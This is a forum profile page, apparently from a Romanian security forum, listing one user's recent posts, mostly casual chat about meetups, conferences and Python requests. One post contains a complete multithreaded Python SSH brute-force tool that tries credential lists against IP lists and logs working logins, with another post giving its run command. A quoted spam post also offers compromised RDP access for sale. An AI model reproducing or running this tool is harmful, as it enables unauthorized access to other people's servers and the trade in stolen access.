Jump to content

MrGrj

Active Members
  • Content Count

    1357
  • Joined

  • Last visited

  • Days Won

    32

MrGrj last won the day on March 3

MrGrj had the most liked content!

Community Reputation

854 Excellent

About MrGrj

  • Rank
    Smartass developer
  • Birthday 01/01/1990

Profile Information

  • Gender
    Not Telling

Converted

  • Biography
    ┌П┐(◉_◉)┌П┐
  • Location
    ┌П┐(◉_◉)┌П┐
  • Interests
    ┌П┐(◉_◉)┌П┐
  • Occupation
    ┌П┐(◉_◉)┌П┐

Recent Profile Visitors

6836 profile views
  1. MrGrj

    Ajutor Python

    Asta e cu studenti. Poti adapta tu dupa nevoi Spor
  2. Bre, Vrea careva sa iasa prin Bucale, sambata asta, pe undeva la o bere? Poate ne adunam si strangem de-o caterinca si voie buna Peace
  3. Hai ca incerc eu. Din moment ce n-ai mentionat limbaju', o sa aleg Brainfuck: ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++.++.---------.+++++.++++++.<<++++++++++.------.>+++++++.>-------------------.+++++++++++++++++.+.<<--.>>.----------.<<.>>---.-----.<<+++++++++++++.>>+++++++++++++++++++.-----------.<<-------------.>>+++++++++++.---------------.++++++++.--------.+++++++.-------.<<.>>++++++++++++++.----------.+++++.-------.++++++++++++++.---.<<.>>---------------.--.<<.>>+++.---.++.--.<<.>>+++++++++++++.+++++++.<<.>>+.-----------------.++++.<<.>>++++.++++++++.---.---------.<<.>>+++++++.++.---.++++.+.<<++++++++++++++.--------------.>++++++++++++++++++.>++++++++.<.<.>------------------.>-------.------------.----.<<++.+++++++.
  4. Stai, nu o mai fost unu acu' vreo luna care voia acelasi lucru? @Gecko parca dadusesi tu un reply decent acolo. Da un c/p si apoi inchide postu' asta pana se umple de cancer
  5. MrGrj

    Botii

    Formulat si mai corect: Hello, am si eu o intrebare idioata: Se pot adauga mai multe proxy-uri intr-un program? Peace
  6. GG. Eu inca ma gandesc daca o sa vin si anu' asta. Anu' trecut o fost destul de dezamagitor: 80%au fost hipsteri care probabil au venit sa-si faca selfie-uri, sa ocupe locuri si sa admire slide-urile de pe monitoarele de-acolo. Sper sa fie mai okay anu' asta. PWP
  7. Care veniti bre anu' asta la Defcamp?
  8. Pff, si ce-or sa hackuiasca? Chiuvetele din '86? Aparatura antica din '72? Fonny news
  9. Poate ca e prima oara cand postezi pe un forum, da' de incercat ce-ai incercat? Ce nu iasa? Unde te incurci? Ce erori primesti?
  10. If you selling RDP contact me

    Earthlink
    Cox Communications
    Fuse Internet

    contact me on ICQ 669976896 or skype  jamite20006@yahoo.com
     

  11. Da-mi un PM cu ce vrei mai exact si te rezolv //LE: Imi spui asa: 1. deadline 2. ce buget ai 3. ce versiune de Python vrei 4. specificatii exacte, ca sa nu avem probleme dupa. Daca nu vad astea 4 puncte in PM nu voi raspunde. Mersi
  12. MrGrj

    Aplicatie

    Ce inseamna aplicatie multimedia? Si la ce pret te-ai gandit?
  13. MrGrj

    Caut un programator

    Preturi dulci-acrisoare primiti? Oferta de martisor: iei o muie si primesti doua cadou.
  14. MrGrj

    Cerere

    Trebuie sa mai pui un argument la sfarsitul comenzii: python t.py 500 ips pass bad # adauga asta ^^^ Trebuie sa adaugi asta: paramiko.util.log_to_file("filename.log")
  15. MrGrj

    Cerere

    import Queue import paramiko import sys import threading class SSHBrute(threading.Thread): def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): while True: ip, user, passwd = self.queue.get() self.kraken(ip, user, passwd) self.queue.task_done() def kraken(self, ip, user, passwd): cracked = [] bad = open('bad.txt', 'w') val = open('valid.txt', 'a') nologs = open('nologins.txt', 'a') raw = open('raw.txt', 'a') dbg = str(sys.argv[4]) try: if ip in cracked: return False if '%user%' in str(passwd): passwd = '{}{}{}'.format(passwd.split("%")[0], user, passwd.split("%")[2]) if '%User%' in str(passwd): pwd = '{}{}'.format(user, passwd.split("%")[2]) passwd = '{}{}'.format(passwd.split("%")[0], pwd.title()) if str(passwd) == '%null%': passwd = '' ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(ip, username=user, password=passwd, timeout=35) raw.write(ip + ' ' + user + ' ' + passwd + '\n') raw.flush() chan = ssh.get_transport().open_session() chan.settimeout(35) chan.exec_command('uname -a') data = chan.recv(1024) if len(data) == 0: nologs.write('{} {} {}\n'.format(ip, user, passwd)) nologs.flush() return False val.write('{} {} {}|{}\n'.format(ip, user, passwd, data.rstrip())) val.flush() cracked.append(ip) chan.close() ssh.close() return True except Exception as e: if 'uthent' in str(e): if dbg == 'bad': bad.write(ip + '\n') bad.flush() ssh.close() return False ssh.close() return False def brutemain(): if len(sys.argv) < 2: return False ThreadNR = int(sys.argv[1]) queue = Queue.Queue(maxsize=20000) try: i = 0 for i in range(ThreadNR): t = SSHBrute(queue) t.daemon = True t.start() i += 1 except Exception as e: print('Cant start more than {} threads because: {}.'.format(i, e)) with open(str(sys.argv[2]), 'rU') as ipf: ips = ipf.read().splitlines() with open(str(sys.argv[3]), 'rU') as uf: users_and_passwds = uf.read().splitlines() try: for user_and_pass in users_and_passwds: for ip in ips: queue.put((ip, user_and_pass.split(':')[0].strip(), user_and_pass.split(':')[1].strip())) except Exception as e: print('Exception raised: {}'.format(e)) pass queue.join() if __name__ == "__main__": brutemain()
×
×
  • Create New...